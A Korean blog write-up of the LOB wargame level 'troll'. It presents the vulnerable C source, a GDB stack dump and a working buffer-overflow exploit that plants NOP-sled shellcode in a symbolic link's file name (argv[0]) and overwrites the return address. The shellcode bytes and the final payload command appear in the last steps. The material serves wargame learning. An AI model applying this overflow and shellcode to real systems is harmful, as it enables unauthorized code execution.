본문 바로가기

WarGame/LOB

[LOB] orge :: 심볼릭 링크를 이용한 BOF

  • User : orge
  • 문제 : troll


troll.c의 소스코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/*
        The Lord of the BOF : The Fellowship of the BOF
        - troll
        - check argc + argv hunter
*/
 
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char *argv[])
{
        char buffer[40];
        int i;
 
        // here is changed
        if(argc != 2){
                printf("argc must be two!\n");
                exit(0);
        }
 
        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));
 
        if(argv[1][47!= '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
 
        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }
 
        strcpy(buffer, argv[1]); // Vulnerability!!!
        printf("%s\n", buffer);
 
        // buffer hunter
        memset(buffer, 040);
 
        // one more!
        memset(argv[1], 0, strlen(argv[1]));
}
cs


이번 문제는 명령어와 매개변수 1개만 입력할 수 있습니다. 또 첫번째 매겨변수의 문자열 길이가 48자리 이하로 제한되어 있고, buffer와 argv[1]의 메모리 영역을 0으로 초기화시킵니다. 하지만 argv[0]는 초기화시키지 않으므로, 이전 문제를 응용하여 shellcode로 된 파일명에 심볼릭 링크를 걸면 argv[0] 영역에 shellcode를 삽입할 수 있습니다.  


Step 1. GDB를 이용하여 buffer의 크기를 파악하면 40 Byte이고, 이어서 SFP와 RET가 각각 4 Byte 다음에 위치하고 있습니다.


Step 2. 다음과 같이 "ln -s" 명령어를 이용하여 troll 실행 파일의 심볼릭 링크를 생성합니다. 이때 링크 파일명을 NOP 코드와 shellcode로 만들어주어야 합니다. NOP 코드 앞에 특정 문자를 넣어놓으면, 파일을 실행시킬 때 편리함으로, 저는 "juun"이라는 문자열을 추가하였습니다. 이때 주의할 점은 shellcode에 "\x2f"문자가 포함되어 있으면 에러가 납니다. "\x2f"는 ascii 코드로 "/"임으로, 디렉터리 구분자로 인식하기 때문입니다.  따라서 "\x2f"문자가 제거된 shellcode를 사용하시기 바랍니다.


Step 3. 위에서 만든 링크 파일을 GDB로 열어서 shellcode가 포함되어 있는 링크 파일명 즉, argv[0]의 메모리 영역을 파악합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Breakpoint 1, 0x80485f2 in main ()
(gdb) x/60x $esp
0xbffff9a4:     0xbffff9b0      0xbffffbbd      0x00000015      0xbfbfbfbf
0xbffff9b4:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffff9c4:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffff9d4:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0x00000000
0xbffff9e4:     0xbffffa24      0xbffffa30      0x40013868      0x00000002
0xbffff9f4:     0x08048450      0x00000000      0x08048471      0x08048500
0xbffffa04:     0x00000002      0xbffffa24      0x08048390      0x0804866c
.
.
.
0xbffffb24:     0x6e75756a      0x90909090      0x90909090      0x90909090
0xbffffb34:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb44:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb54:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb64:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb74:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb84:     0x90909090      0x90909090      0x315e11eb      0x8032b1c9
0xbffffb94:     0x01ff0e6c      0x7501e980      0xe805ebf6      0xffffffea
0xbffffba4:     0x6951c132      0x69743030      0x6a633069      0x51e48a6f
0xbffffbb4:     0x9ae28a54      0x81ce0cb1      0xbfbfbf00      0xbfbfbfbf
0xbffffbc4:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffbd4:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffbe4:     0xbfbfbfbf      0xbfbfbfbf      0x000000bf      0x00000000
0xbffffbf4:     0x00000000      0x00000000      0x00000000      0x00000000
cs


Step 4. RET 값을 위에서 찾은 argv[0] 영역으로 수정하면 NOP 코드를 지나 shellcode가 실행될 것입니다. 다음과 같은 payload를 만들 수 있습니다.


1
2
[orge@localhost tmp]$ ./juun릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?Q^12€l^N^A€?Au楕^E凹2핽i00tii0cjo듾QT듼슧^L? `python -c 'print "A"*44+"\x54\xfb\xff\xbf"'`
cs


만약 "Segmentation fault" 에러가 출력된다면 이전 문제에서 언급했던 core 파일을 이용하여 정확한 argv[0] 영역을 파악할 수 있습니다.